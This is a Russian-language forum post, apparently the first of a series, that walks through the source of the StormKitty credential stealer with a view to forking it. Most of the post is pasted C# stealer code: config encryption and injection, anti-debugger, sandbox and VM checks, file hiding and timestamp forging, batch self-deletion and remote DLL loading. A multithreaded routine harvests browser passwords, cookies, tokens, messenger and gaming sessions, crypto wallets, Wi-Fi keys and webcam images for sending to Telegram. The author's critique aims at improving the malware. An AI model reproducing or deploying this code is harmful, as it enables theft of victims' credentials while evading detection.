• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Разбираем стиллер StormKitty, делаем форк

xam111

Участник
Сообщения
10
Реакции
22
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
В таких публикациях мы будем рассматривать под микроскопом исходные коды (открытые, утёкшие, декомпилированные, до каких дойдут руки) или же дизассемблерные листинги так или иначе известной в наших узких кругах малварки. Мы будем всматриваться в общую архитектуру проекта малварки, отдельные её модули и алгоритмы, вплоть до фрагментов кода.



Периодически в нашем уютненьком комьюнити в хорошем или же плохом ключе упоминается «Штормовой Котёнок» (он же «StormKitty»). То его какой-то горе программер или барыга соберёт под новым именем и продаёт за целое состояние. Это все сопровождается некоторым количеством срача на форуме, обсуждения смыслов кулхацкерских жизней, старпёрского брюзжания о том, что раньше было лучше и так далее. Поэтому эту нашу серию статей я решил начать именно со «Штормового Котёночка». Тем более, что написан он на языке C#, что должно немного упрощать понимание исходного кода неофитами (когда не нужно особо отвлекаться на управление памятью и дескрипторами, как в С++ например, в С# за нас это делает сборщик мусора).



Давайте начнём с того, что такое этот «Штормовой Котёнок». Это — классический стилер (stealer) с открытыми исходными кодами, размещённый на Github под чуть ли ни самой либеральной лицензией — «MIT» (хотя кого тут в принципе волнуют оупенсорсные лицензии, правда же). Сейчас автор перевёл его в архив, то есть скорее всего дальше проект не будет развиваться. Функционал проекта в общем то, как у самого обычного стилера, работает с браузерами на базе Chromium, с Firefox, с «Ослом» (Internet Explorer) и Edge, собирает файлы определённых расширений, файлы сессий нескольких разных программ, аккаунты из Outlook и Pidgin, может обеспечивать себе автозапуск самым примитивным способом, должен отсылать логи на онлайн хостинг AnonFiles и в Телеграм, ну и так далее и тому подобное. Скачать весь проект все ещё можно отсюда: https://github.com/LimerBoy/StormKitty Скачайте исходники и разархивируйте их, чтобы параллельно с чтением статьи вы могли бы смотреть исходный код, так будет понятнее скорее всего.



Прежде чем, мы перейдём к обсуждению непосредственно кода проекта, нужно сделать небольшое лирическое отступление о наличии малвари в репозитории. Дело в том, что в папке с проектом лежит бинарная зависимость в виде файла «AnonFileApi.dll». Автор три раза менял эту библиотеку, но хитрый Github всё помнит, так что при желании можно достать любую из трёх версий. Вложенная в эту бинарную зависимость малварь особого интереса не представляет, но в качестве упражнения вы можете её потыкать. Интересно другое: выложить на Github исходники какой-то малвари для образовательных целей формально нарушением закона не является.



Теперь давайте переходить к архитектуре проекта. Весь проект разбит на два подпроекта: «builder» (программа сборщик для стилера, подготавливающий его к непосредственному использованию) и «stub» (собственно сам стилер, который будет запускаться на компьютере жертвы, доставать ценную информацию и отправлять её в Телеграм и отправлять на хостинг файлов AnonFiles). Для начала давайте рассмотрим проект «builder», чтобы понимать процесс создания исполняемого файла стаба, до того, как переходить собственно к коду стаба.



Сборщик представляет собой обычное консольное приложение, которое вшивает в стаб конфигурационные параметры, такие как идентификаторы Телеграмма, адреса кошельков для клипера, должен ли стаб прописывать себя в автозапуск или нет и другие, а так же обфусцирует стаб. Касательно конфигурации Телеграм сборщик проверит доступность API с указанными параметрами, что на самом деле кажется приятным проявлением заботы автора о своих пользователях (мол, если скрипткидис накосячил с идентификаторами API, он узнает об этом на этапе сборки проекта, а не далеко позже).



Непосредственно процесс вшивания конфигурационных данных описан в файле «build.cs», глобальная переменная «ConfigValues» получает значения, которые пользователь ввёл в консоль. Обратите внимание на один забавный факт: в качестве имени мьютекса для стаба используется MD5-хеш от имени пользователя и имени компьютера, где производилась сборка. Не то чтобы кому-то в целом мире понадобилось бы брутить этот хеш, чтобы узнать исходные значения имён компьютера и пользователя, но зачем это нужно было делать именно так — совсем непонятно. Вполне можно было бы просто сделать вызов метода «Guid.NewGuid» или взять хеш от каких-то менее значимых параметров системы.

C#:Скопировать в буфер обмена

public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>

{

{ "Telegram API", "" },

{ "Telegram ID", "" },



{ "AntiAnalysis", "" },

{ "Startup", "" },

{ "Grabber", "" },

{ "Debug", "" },

{ "StartDelay", "" },



{ "ClipperBTC", "" },

{ "ClipperETH", "" },

{ "ClipperXMR", "" },

{ "ClipperXRP", "" },

{ "ClipperLTC", "" },

{ "ClipperBCH", "" },



{ "WebcamScreenshot", "" },

{ "Keylogger", "" },

{ "Clipper", "" },



{ "Mutex", crypt.CreateMD5($"{Environment.UserName}@{Environment.MachineName}") },

};

Некоторые конфигурационные строки зашифровываются с помощью AES и строго фиксированных значений соли и пароля. Ключи можно было бы генерировать на этапе сборки и аналогично строкам вшивать их в стаб. Хотя использование «Rfc2898DeriveBytes» немного улыбнуло, этот класс получает ключи из пароля и соли с помощью генератора псевдослучайных чисел из HMACSHA1, что по идее было бы хорошо, если пароль или хотя бы соль менялись бы от сборке к сборке. Реализацию этого шифрования можно найти в файле «crypt.cs». Странным решением является конвертация шифр-данных в BASE64 строки и добавление к этому всему префикса «CRYPTED:». Таким образом автору не приходится менять тип данных, когда он вшивает зашифрованные данные в стаб (строки заменяет строками), но выглядит это костылём, можно было бы придумать чего получше.

C#:Скопировать в буфер обмена

public static string EncryptConfig(string value)

{

byte[] encryptedBytes = null;

byte[] bytesToBeEncrypted = Encoding.UTF8.GetBytes(value);



using (MemoryStream ms = new MemoryStream())

{

using (RijndaelManaged AES = new RijndaelManaged())

{

AES.KeySize = 256;

AES.BlockSize = 128;

var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);

AES.Key = key.GetBytes(AES.KeySize / 8);

AES.IV = key.GetBytes(AES.BlockSize / 8);

AES.Mode = CipherMode.CBC;

using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))

{

cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);

cs.Close();

}

encryptedBytes = ms.ToArray();

}

}

return "CRYPTED:" + Convert.ToBase64String(encryptedBytes);

}

Далее конфигурационные параметры вшиваются в стаб с помощью библиотеки «Mono.Cecil». Эта библиотека позволяет разбирать и модифицировать форматы структур .NET сборок и байт-кода (хотя на мой вкус библиотека «dnlib» куда проще и приятнее в программировании подобных вещей). Формально данный код просто проходит все методы всех классов во всех модулях стаба, находит в них инструкции дотнетовского байт-кода «LDSTR» (загрузка константной строки на стек) и заменяет операнд на строку из конфигурации в том случае, если исходная строка операнд начинается с «---». С точки зрения архитектуры стаба это решение кажется избыточным, наверное имело бы смысл держать всю конфигурацию для стаба в одном классе и проходить только по его методам, а не по всей дотнетовской сборке (конечно же Assembly имеется ввиду).

C#:Скопировать в буфер обмена

public static AssemblyDefinition IterValues(AssemblyDefinition definition)

{

foreach (ModuleDefinition definition2 in definition.Modules)

foreach (TypeDefinition definition3 in definition2.Types)

if (definition3.Name.Equals("Config"))

foreach (MethodDefinition definition4 in definition3.Methods)

if (definition4.IsConstructor && definition4.HasBody)

{

IEnumerator<Instruction> enumerator;

enumerator = definition4.Body.Instructions.GetEnumerator();

while (enumerator.MoveNext())

{

var current = enumerator.Current;

if (current.OpCode.Code == Code.Ldstr & current.Operand is object)

{

string str = current.Operand.ToString();

if (str.StartsWith("---") && str.EndsWith("---"))

current.Operand = ReplaceConfigParams(str);

}

}



}



return definition;

}

После зашивания конфигурационных значений в байт-код стаба, сам стаб отправляется на обфускацию с помощью изъезженного вдоль и поперек разными малварищиками бесплатного обфускатора с открытыми исходными кодами — «ConfuserEx» (одна птичка мне напела, что изъезженного до такой степени, что Антивирус Касперского в принципе считает .NET исполняемые файлы, накрытые «ConfuserEx», как подозрительные). Было бы конечно получше, если бы автор «Штормового Котёнка» удосужился перенаправить вывод от процесса «ConfuserEx» в своё консольное окно (ну чтобы понимать, что конкретно пошло не так, если обфускация провалилась), но имеем то, что имеем (реализация находится в файле «obfuscation.cs» и особого интереса не представляет). Кроме того сборщик может добавить иконку обфусцированному исполняемому файлу, если это нужно (реализовано в файле «icon.cs»). Для добавления иконки используются WinAPI функции для работы с ресурсами PE-файлов, который можно найти в официальных мануалах от «мелкомягких» (Microsoft же, ага, MSDN там всякий). На этом предлагаю закончить копаться в сборщике стаба и перейти к самому интересному — коду самого стаба.



С точки зрения архитектуры проекта стаб представляет собой главный файл «program.cs» и набор модулей, более менее нормально сгруппированных по папкам и подпапкам. Давайте начнём рассматривать стаб с точки входа (статическая функция «Main» класса «Program»), чтобы в последствии было проще понять, как отдельные модули взаимодействуют друг с другом (по сути дела никак, но всё же). Не переживайте мы рассмотрим некоторые интересные модули отдельно чуть попозже.



В самом начале функции Main написана небольшая дотнетовская магия, которую автор проекта любезно отделил для нас комментарием «SSL сучка». Это указание некоторых параметров класса помогающего дотнету осуществлять HTTPS запросы с использованием SSL/TLS. Об этих параметрах можно прочитать на MSDN, но отдельно я хотел бы остановиться на магическом числе 3072 и почему оно такое, какое оно есть. Сам проект стаба собирается под дотнет версии 4.0, который (страшно подумать) был выпущен в бородатом 2010ом году. Так вот в этом бородатом 2010ом году в дотнете, да и в операционных системах семейства Windows, никто ещё и не думал использовать TLS версии 1.2 (хотя эта версия протокола вышла чуть раньше — в 2008ом году, поправьте, если я ошибся в датах того времени, когда динозавры были большими). Поэтому в перечислении «SecurityProtocolType» в дотнет фреймворке 4.0 нет соответствующего TLS 1.2 значения (оно появится только в дотнет фреймворке 4.5, если мне не изменяет память). Численное значение этого сравнительно нового значения перечисления — 3072, то есть автор кода устанавливает это значение в надежде, что стаб все же окажется на современной системе с установленным фреймворков 4.5 или с установленной на уровне системы поддержкой TLS 1.2. Честно говоря, я не в курсе, будет ли выброшено исключение, если такой поддержки нет, или просто будет использован протокол по умолчанию, напишите в комментариях, если знаете точно.

C#:Скопировать в буфер обмена

// SSL сучка

ServicePointManager.Expect100Continue = true;

ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;

ServicePointManager.DefaultConnectionLimit = 9999;

Далее по коду происходит классическая для малвари защита от повторного запуска, опытным программистам и реверсерам тут должно быть всё понятно, но для неофитов можно немного пояснить. Смысл в том, что создаётся глобальный именованный мьютекс (примитив операционной системы для синхронизации процессов). Конструктор мьютекса в дотнете возвращает информацию о том, был ли мьютекс создан или уже существовал до этого и был открыт. Соответственно, если стаб был запущен несколько раз, то первый его процесс создаст мьютекс и будет работать, а глобальный именованный мьютекс будет существовать до завершения этого процесса. А все последующие процессы «увидят», что мьютекс уже существуют и выйдут. Понятно, что наличие дополнительного глобального именованного мьютекса в системе может выдавать запущенную на системе малварь (если знать, какое имя мьютекса соответствует малвари), но данный стилер и так в отдельном процессе запускается, так что не суть важно.

C#:Скопировать в буфер обмена

internal sealed class MutexControl

{

// Prevent the program from running twice

public static void Check()

{

bool createdNew = false;

Mutex currentApp = new Mutex(false, Config.Mutex, out createdNew);

if (!createdNew)

Environment.Exit(1);

}

}

Затем стаб проверяет, лежит ли исполняемый файл в специальной скрытой самом банальным способом директории, предварительно создав её, если эта директория отсутствовала. Если же исполняемый файл стаба лежит вне этой директории, то файл скрывается аналогичным образом, а именно с помощью выставления аттрибута «hidden» для файла (реализовано в классе «Implant.Startup»). Конечно, ни о каких хитровыдуманных способах сокрытия файла речи тут не идёт, а делать это именно таким образом в 2020 году нужно разве что для галочки и одного дополнительного пункта в списке фич стилера в теме о его продаже, ну вы понимаете. Да и ходят слухи, что некоторые антивирусы находят подозрительным то поведение, в ходе которого исполняемый файл сам себе проставляет аттрибут «hidden», что ну совсем ни разу не удивительно. Ну что уж теперь, едем дальше.

C#:Скопировать в буфер обмена

// Change file creation date

public static void SetFileCreationDate(string path = null)

{

string filename = path;

if (path == null) filename = ExecutablePath;

// Log

Logging.Log("SetFileCreationDate : Changing file " + filename + " creation data");



DateTime time = new DateTime(

DateTime.Now.Year - 2, 5, 22, 3, 16, 28);



File.SetCreationTime(filename, time);

File.SetLastWriteTime(filename, time);

File.SetLastAccessTime(filename, time);

}



// Hide executable

public static void HideFile(string path = null)

{

string filename = path;

if (path == null) filename = ExecutablePath;

// Log

Logging.Log("HideFile : Adding 'hidden' attribute to file " + filename);

new FileInfo(filename).Attributes |= FileAttributes.Hidden;

}

После этого стаб проверяет, прописаны ли в его конфигурации параметры для API Телеграмма. В случае их отсутствия происходит самоудаление. Само собой, разве может быть иначе, самоудаление реализовано по классической для малвари костыльной схеме — через создание и запуск батника. Я очень не люблю этот способ, но почему то вижу его просто повсеместно в любой малварке. Но все же сравнительно приятным бонусом этого кода является вызов «chcp 65001» в начале батника (установка кодировки в UTF-8). Это сделано потому, что пути к файлам могут содержать локализованные символы (кириллицу там, например), а метод «File.AppendText» открывает файл на запись текста в кодировке именно UTF-8. Многие авторы малвари об этом не задумываются, а тут наш Владимир из Украины показал, что умеет обращать внимание на детали (жаль, что это происходит далеко не всегда).

C#:Скопировать в буфер обмена

public static void Melt()

{

// Paths

string batch = Path.GetTempFileName() + ".bat";

string path = System.Reflection.Assembly.GetExecutingAssembly().Location;

string dll1 = Path.Combine(Path.GetDirectoryName(path), "DotNetZip.dll");

string dll2 = Path.Combine(Path.GetDirectoryName(path), "AnonFileApi.dll");

int currentPid = Process.GetCurrentProcess().Id;

// Write batch

using (StreamWriter sw = File.AppendText(batch))

{

sw.WriteLine("chcp 65001");

sw.WriteLine("TaskKill /F /IM " + currentPid);

sw.WriteLine("Timeout /T 2 /Nobreak");

sw.WriteLine($"Del /ah \"{path}\" & Del /ah \"{dll1}\" & Del /ah \"{dll2}\"");

}

// Log

Logging.Log("SelfDestruct : Running self destruct procedure...");

// Start

Process.Start(new ProcessStartInfo()

{

FileName = "cmd.exe",

Arguments = "/C " + batch,

WindowStyle = ProcessWindowStyle.Hidden,

CreateNoWindow = true

});

// Wait for exit

System.Threading.Thread.Sleep(5000);

System.Environment.FailFast(null);

}

Далее в зависимости от конфигурации стаб делает или не делает рандомную паузу (от нуля до десяти секунд). Назначение этого кода не особо понятна в глобальном плане, напишите в комментарии ваши идеи по этому поводу. Реализация самой паузы хранится в классе «Implant.StartDelay».

C#:Скопировать в буфер обмена

internal sealed class StartDelay

{

// Sleep min, sleep max

private static readonly int SleepMin = 0;

private static readonly int SleepMax = 10;



// Sleep

public static void Run()

{

int SleepTime = new Random().Next(

SleepMin * 1000,

SleepMax * 1000

);

Logging.Log("StartDelay : Sleeping " + SleepTime);

System.Threading.Thread.Sleep(SleepTime);

}

}

Затем стаб применяет набор методов для противодействия анализу, в том случае, если факт анализа будет установлен стабом, он выведет подложное (от слова «ложь» а не от слова «ложить») сообщение об ошибке и вызовет код для самоудаления, который мы рассмотрели ранее. Набор методов противодействия анализу довольно стандартный и опять же сделан в основном для галочки. Есть поиск подключённого к процессу стаба отладчика с помощью функции «CheckRemoteDebuggerPresent» (это довольно легко обходится, в отладчике dnSpy есть соответствующий код). Есть попытка определить исполнение внутри эмулятора за счёт функции «Sleep». Смысл этого метода в том, что подавляющее большинство эмуляторов пропускают все вызовы «Sleep», и типа внутреннее значение времени внутри эмулятора при этом не изменяется, поэтому можно проспать 10 миллисекунд и проверить, действительно ли прошло минимум 10 миллисекунд. Эта методика возможно и работала N-лет назад, когда эмуляторы были тупыми и не учитывали «Sleep» в своих внутренних часах, но в 2020 году это вряд ли как-то поможет, скорее может быть сигнатурой для антивируса. Так же есть проверка HTTP-запросом (для определения запуска на VirusTotal, AnyRun и так далее), проверка на наличие внутри процесса стаба динамических библиотек различных сэндбоксов, проверка на наличие некоторых запущенных процессов для динамического анализа малвари и проверка на запуск внутри виртуальной инфраструктуры. Для более менее опытного реверсера все эти проверки особых проблем не должны вызывать, а вот антивирусы с другой стороны могут отнестись к ним неравнодушно.

C#:Скопировать в буфер обмена

internal sealed class AntiAnalysis

{

// CheckRemoteDebuggerPresent (Detect debugger)

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

// GetModuleHandle (Detect SandBox)

[DllImport("kernel32.dll")]

private static extern IntPtr GetModuleHandle(string lpModuleName);





/// <summary>

/// Returns true if the file is running in debugger; otherwise returns false

/// </summary>

public static bool Debugger()

{

bool isDebuggerPresent = false;

try

{

CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);

return isDebuggerPresent;

} catch { }

return isDebuggerPresent;

}



/// <summary>

/// Returns true if the file is running in emulator; otherwise returns false

/// </summary>

public static bool Emulator()

{

try

{

long ticks = DateTime.Now.Ticks;

System.Threading.Thread.Sleep(10);

if (DateTime.Now.Ticks - ticks < 10L)

return true;

}

catch { }

return false;

}



/// <summary>

/// Returns true if the file is running on the server (VirusTotal, AnyRun); otherwise returns false

/// </summary>

public static bool Hosting()

{

try

{

string status = new System.Net.WebClient()

.DownloadString(

StringsCrypt.Decrypt(new byte[] { 150, 74, 225, 199, 246, 42, 22, 12, 92, 2, 165, 125, 115, 20, 210, 212, 231, 87, 111, 21, 89, 98, 65, 247, 202, 71, 238, 24, 143, 201, 231, 207, 181, 18, 199, 100, 99, 153, 55, 114, 55, 39, 135, 191, 144, 26, 106, 93, }));

return status.Contains("true");

} catch { }

return false;

}



/// <summary>

/// Returns true if a process is started from the list; otherwise, returns false

/// </summary>

public static bool Processes()

{

Process[] running_process_list = Process.GetProcesses();

string[] selected_process_list = new string[] {

"processhacker",

"netstat", "netmon", "tcpview", "wireshark",

"filemon", "regmon", "cain"

};

foreach (Process process in running_process_list)

if (selected_process_list.Contains(process.ProcessName.ToLower()))

return true;

return false;

}



/// <summary>

/// Returns true if the file is running in sandbox; otherwise returns false

/// </summary>

public static bool SandBox()

{

string[] dlls = new string[5]

{

"SbieDll",

"SxIn",

"Sf2",

"snxhk",

"cmdvrt32"

};

foreach (string dll in dlls)

if (GetModuleHandle(dll + ".dll").ToInt32() != 0)

return true;

return false;

}



/// <summary>

/// Returns true if the file is running in VirtualBox or VmWare; otherwise returns false

/// </summary>

public static bool VirtualBox()

{

using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))

try

{

using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get())

foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)

if ((managementBaseObject["Manufacturer"].ToString().ToLower() == "microsoft corporation" &&

managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) ||

managementBaseObject["Manufacturer"].ToString().ToLower().Contains("vmware") ||

managementBaseObject["Model"].ToString() == "VirtualBox")

return true;

}

catch { }



foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get())

if (managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VMware")

&& managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VBox"))

return true;



return false;

}



/// <summary>

/// Detect virtual enviroment

/// </summary>

public static bool Run()

{

if (Config.AntiAnalysis == "1")

{

if (Hosting()) Logging.Log("AntiAnalysis : Hosting detected!", true);

if (Processes()) Logging.Log("AntiAnalysis : Process detected!", true);

if (VirtualBox()) Logging.Log("AntiAnalysis : Virtual machine detected!", true);

if (SandBox()) Logging.Log("AntiAnalysis : SandBox detected!", true);

//if (Emulator()) Logging.Log("AntiAnalysis : Emulator detected!", true);

if (Debugger()) Logging.Log("AntiAnalysis : Debugger detected!", true);

}

return false;

}



/// <summary>

/// Run fake error message and self destruct

/// </summary>

public static void FakeErrorMessage()

{

string code = StringsCrypt.GenerateRandomData("1");

code = "0x" + code.Substring(0, 5);

Logging.Log("Sending fake error message box with code: " + code);

MessageBox.Show("Exit code " + code, "Runtime error",

MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);

SelfDestruct.Melt();

}



}

После этого стаб по какой-то причине устанавливает в текущую рабочую директорию значение своей рабочей папки (она была описана ранее). Это подозрительно попахивает говнокодом, так как в принципе в сфере разработки любого программного обеспечения работа по относительным путям является табу (ну или «строгим запретом». Это важный совет, который стоит уяснить неофитам: всегда работайте по абсолютным путям к файлам и каталогам.

C#:Скопировать в буфер обмена

// Change working directory to appdata

System.IO.Directory.SetCurrentDirectory(Paths.InitWorkDir());

Далее стаб выкачивает прямиком из Github аккаунта нашего Владимира из Украины две библиотеки: «DotNetZip» и «AnonFileApi» (ту самую со вложенной малварью мистера кулхацкера Владимира). Стаб на всякий случай пытается выкачать эти библиотеки по три раза, и в случае успеха проставляет этим библиотекам файловый аттрибут «hidden» и изменяет дату создания файла. Этот код конечно очень некрасиво написан (использование while вместо совершенно уместного в этом случае цикла for, проверка на существование файла аж четыре раза и так далее), вызывает некоторое кровотечение из глаз.

C#:Скопировать в буфер обмена

public static bool LoadRemoteLibrary(string library)

{

int i = 0;

string dll = Path.Combine(Path.GetDirectoryName(Startup.ExecutablePath), Path.GetFileName(new Uri(library).LocalPath));



while (i < 3)

{

i++;

if (!File.Exists(dll))

{

try

{

using (var client = new WebClient())

client.DownloadFile(library, dll);

}

catch (WebException)

{

Logging.Log("LibLoader: Failed to download library " + dll);

System.Threading.Thread.Sleep(2000);

continue;

}



Startup.HideFile(dll);

Startup.SetFileCreationDate(dll);

}

}

return File.Exists(dll);

}

Затем стаб дешифрует конфигурационные значения, которые были зашифрованы сборщиком (алгоритм шифрования был уже описан ранее), и проверяет валидность API токена Телеграмма. В случае, если токен не валиден, происходит самоудаление. Ну и после всех этих приготовлений происходит непосредственный сбор паролей и другой полезной информации, упаковка их в ZIP-архив, залив ZIP-архива на сервис AnonFiles и отправка ссылки для скачивания залитого файла в Телеграмм. Кроме того в след за ссылкой стаб должен отправить информацию о компьютере, с которого был собран только что высланный ZIP-архив. Сами алгоритмы всего этого особого интереса не представляют, да и описывать каждый из них очень долго. Отмечу только, что реализация этого всего находится в классах «Report.Telegram», «Filemanager» и «SystemInfo». Ну а некоторые алгоритмы сбора паролей и другой ценной информации мы рассмотрим отдельно (это же самое интересное в стилерах, да?).

C#:Скопировать в буфер обмена

// Decrypt config strings

Config.Init();



// Test telegram API token

if (!Telegram.Report.TokenIsValid())

Implant.SelfDestruct.Melt();



// Steal passwords

string passwords = Passwords.Save();

// Compress directory

string archive = Filemanager.CreateArchive(passwords);

// Send archive

Telegram.Report.SendReport(archive);

После выполнения основного функционала на предыдущем шаге у стаба есть два варианта развития событий: либо завершить исполнение и самоудалиться, либо (если включены клипер и/или кейлоггер) продолжить работу, запустив эти компоненты в отдельных потоках (опять же, если при сборке стаба в конфигурации они были включены). Основной поток же простаивает в ожидании завершения потоков клипера и кейлоггера.

C#:Скопировать в буфер обмена

// Run keylogger module

if (Config.KeyloggerModule == "1" && (Counter.BankingServices || Counter.Telegram) && Config.Autorun == "1")

{

Logging.Log("Starting keylogger modules...");

W_Thread = WindowManager.MainThread;

W_Thread.SetApartmentState(ApartmentState.STA);

W_Thread.Start();

}



// Run clipper module

if (Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1")

{

Logging.Log("Starting clipper modules...");

C_Thread = ClipboardManager.MainThread;

C_Thread.SetApartmentState(ApartmentState.STA);

C_Thread.Start();

}



// Wait threads

if (W_Thread != null) if (W_Thread.IsAlive) W_Thread.Join();

if (W_Thread != null) if (C_Thread.IsAlive) C_Thread.Join();

Архитектурно клипер сделан довольно нелепо по моему мнению, он разбит на несколько модулей, при каждом получении и установки значения буфера обмена почему-то создаётся отдельный поток, при этом можно было бы все делать в одном основном потоке. Для подмены содержимого буфера обмена используется поиск по регулярным выражениям, кроме того оригинальное содержимое буфера обмена логируется в файл. Проверка того, что в буфере обмена появилась новая строка, происходит раз в две секунды. Мне кажется, что все уже давно должны были научиться проверять идентификаторы своих криптовалютных кошельков, когда куда их копируют и вставляют. Клипер реализован несколькими классами из папки «Clipper» и главным управляющим классом «ClipboardManager».



Кейлоггер синхронный и реализован по классической для малвари схеме с использованием функции «SetWindowsHookEx». Для неофитов можно пояснить, что эта функция (когда вызвана с параметром WH_KEYBOARD_LL) устанавливает обработчик на системные события, связанные с клавиатурой, в частности нажатие клавиш. В принципе подобный код можно увидеть в абсолютно любом другом кейлоггере, да и придумывать здесь что-то новое вряд ли необходимо. Для получения конкретного символа из scan кода и virtual key кода используется функция «ToUnicodeEx», при том учитывается текущая раскладка, полученная с помощью функции «GetKeyboardLayout». Такой кейлоггер не сможет определить ввод некоторых хитрых символов (например, немецкого языка, которые требуют последовательного нажатия двух разных клавиш), но в принципе должен выполнять свою функцию исправно. Забавной фичей модуля кейлоггера является поиск открытых вкладок браузера с порно сайтами. Если открыт такой сайт модуль кейлоггера пытается сделать скриншот экрана и снимок веб-камерой. Сразу вспоминаются те самые письма с угрозами об этом, которые массово рассылали по почте всем подряд некоторое время назад. Наличие этого функционала именно в модуле кейлоггера кажется таким бредом, но имеем то, что имеем. Снимок экрана реализован с помощью .NET классов, а снимок веб-камерой — с помощью функций из системной библиотеки «avicap32.dll». Почти уверен, что примерно похожий код вы найдёте по первой ссылке на StackOverflow в поисковых запросах «.net screenshot example» и «.net webcamshot example», или что-то в этом духе. Кейлоггер реализован несколькими классами из папки «Keylogger» и классом «WindowManager», и да, это тоже кажется очень избыточным с точки зрения архитектуры проекта.

Ну а теперь давайте переходить непосредственно к функционалу стилера этого нашего «Штормового Котёночка». Основной функционал по сбору ценной парольной и не только информации разделен на отдельные модули, каждый из которых вызывается отдельно методом класса «Report.CreateReport» в отдельном потоке. При этом страшно подумать, но одновременно запускается 23 потока (ну я насчитал 23 потока, может ошибся на плюс/минус 1-2). История умалчивает, почему нельзя это было сделать итеративно, а не параллельно, при этом не так сильно нагружая операционную систему. Понятно, что разбиение на потоки чуток ускорит всю обработку за счёт файлового ввода вывода, но 23 достаточно нагруженных потока, 23 потока, Карл! Основной поток же ожидает завершения всех новорожденный потоков и только по их завершению продолжает исполнение.

C#:Скопировать в буфер обмена

public static bool CreateReport(string sSavePath)

{

// List with threads

List <Thread> Threads = new List<Thread>();

try

{

// Collect files (documents, databases, images, source codes)

if (Config.GrabberModule == "1")

Threads.Add(new Thread(() =>

FileGrabber.Run(sSavePath + "\\Grabber")

));



// Chromium & Edge thread (credit cards, passwords, cookies, autofill, history, bookmarks)

Threads.Add(new Thread(() =>

{

Chromium.Recovery.Run(sSavePath + "\\Browsers");

Edge.Recovery.Run(sSavePath + "\\Browsers");

}));

// Firefox thread (logins.json, db files, cookies, history, bookmarks)

Threads.Add(new Thread(() =>

Firefox.Recovery.Run(sSavePath + "\\Browsers")

));

// Internet explorer thread (logins)

Threads.Add(new Thread(() =>

InternetExplorer.Recovery.Run(sSavePath + "\\Browsers")

));



// Write discord tokens

Threads.Add(new Thread(() =>

Discord.WriteDiscord(

Discord.GetTokens(),

sSavePath + "\\Messenger\\Discord")

));



// Write pidgin accounts

Threads.Add(new Thread(() =>

Pidgin.Get(sSavePath + "\\Messenger\\Pidgin")

));



// Write outlook accounts

Threads.Add(new Thread(() =>

Outlook.GrabOutlook(sSavePath + "\\Messenger\\Outlook")

));



// Write telegram session

Threads.Add(new Thread(() =>

Telegram.GetTelegramSessions(sSavePath + "\\Messenger\\Telegram")

));



// Write skype session

Threads.Add(new Thread(() =>

Skype.GetSession(sSavePath + "\\Messenger\\Skype")

));



// Steam & Uplay sessions collection

Threads.Add(new Thread(() =>

{

// Write steam session

Steam.GetSteamSession(sSavePath + "\\Gaming\\Steam");

// Write uplay session

Uplay.GetUplaySession(sSavePath + "\\Gaming\\Uplay");

// Write battle net session

BattleNET.GetBattleNETSession(sSavePath + "\\Gaming\\BattleNET");

}));



// Minecraft collection

Threads.Add(new Thread(() =>

Minecraft.SaveAll(sSavePath + "\\Gaming\\Minecraft")

));



// Write wallets

Threads.Add(new Thread(() =>

Wallets.GetWallets(sSavePath + "\\Wallets")

));



// Write FileZilla

Threads.Add(new Thread(() =>

FileZilla.WritePasswords(sSavePath + "\\FileZilla")

));



// Write VPNs

Threads.Add(new Thread(() =>

{

ProtonVPN.Save(sSavePath + "\\VPN\\ProtonVPN");

OpenVPN.Save(sSavePath + "\\VPN\\OpenVPN");

NordVPN.Save(sSavePath + "\\VPN\\NordVPN");

}));



// Get directories list

Threads.Add(new Thread(() =>

{

Directory.CreateDirectory(sSavePath + "\\Directories");

DirectoryTree.SaveDirectories(sSavePath + "\\Directories");

}));



// Create directory to save system information

Directory.CreateDirectory(sSavePath + "\\System");



// Process list & active windows list

Threads.Add(new Thread(() =>

{

// Write process list

ProcessList.WriteProcesses(sSavePath + "\\System");

// Write active windows titles

ActiveWindows.WriteWindows(sSavePath + "\\System");

}));



// Desktop & Webcam screenshot

Thread dwThread = new Thread(() =>

{

// Create dekstop screenshot

DesktopScreenshot.Make(sSavePath + "\\System");

// Create webcam screenshot

WebcamScreenshot.Make(sSavePath + "\\System");

});

dwThread.SetApartmentState(ApartmentState.STA);

Threads.Add(dwThread);



// Saved wifi passwords

Threads.Add(new Thread(() =>

{

// Fetch saved WiFi passwords

Wifi.SavedNetworks(sSavePath + "\\System");

// Fetch all WiFi networks with BSSID

Wifi.ScanningNetworks(sSavePath + "\\System");

}

));;

// Windows product key

Threads.Add(new Thread(() =>

// Write product key

File.WriteAllText(sSavePath + "\\System\\ProductKey.txt",

ProductKey.GetWindowsProductKeyFromRegistry())

));

// Debug logs

Threads.Add(new Thread(() =>

Logging.Save(sSavePath + "\\System\\Debug.txt")

));

// System info

Threads.Add(new Thread(() =>

SysInfo.Save(sSavePath + "\\System\\Info.txt")

));

// Clipboard text

Threads.Add(new Thread(() =>

File.WriteAllText(sSavePath + "\\System\\Clipboard.txt",

Clipper.Clipboard.GetText())

));

// Get installed apps

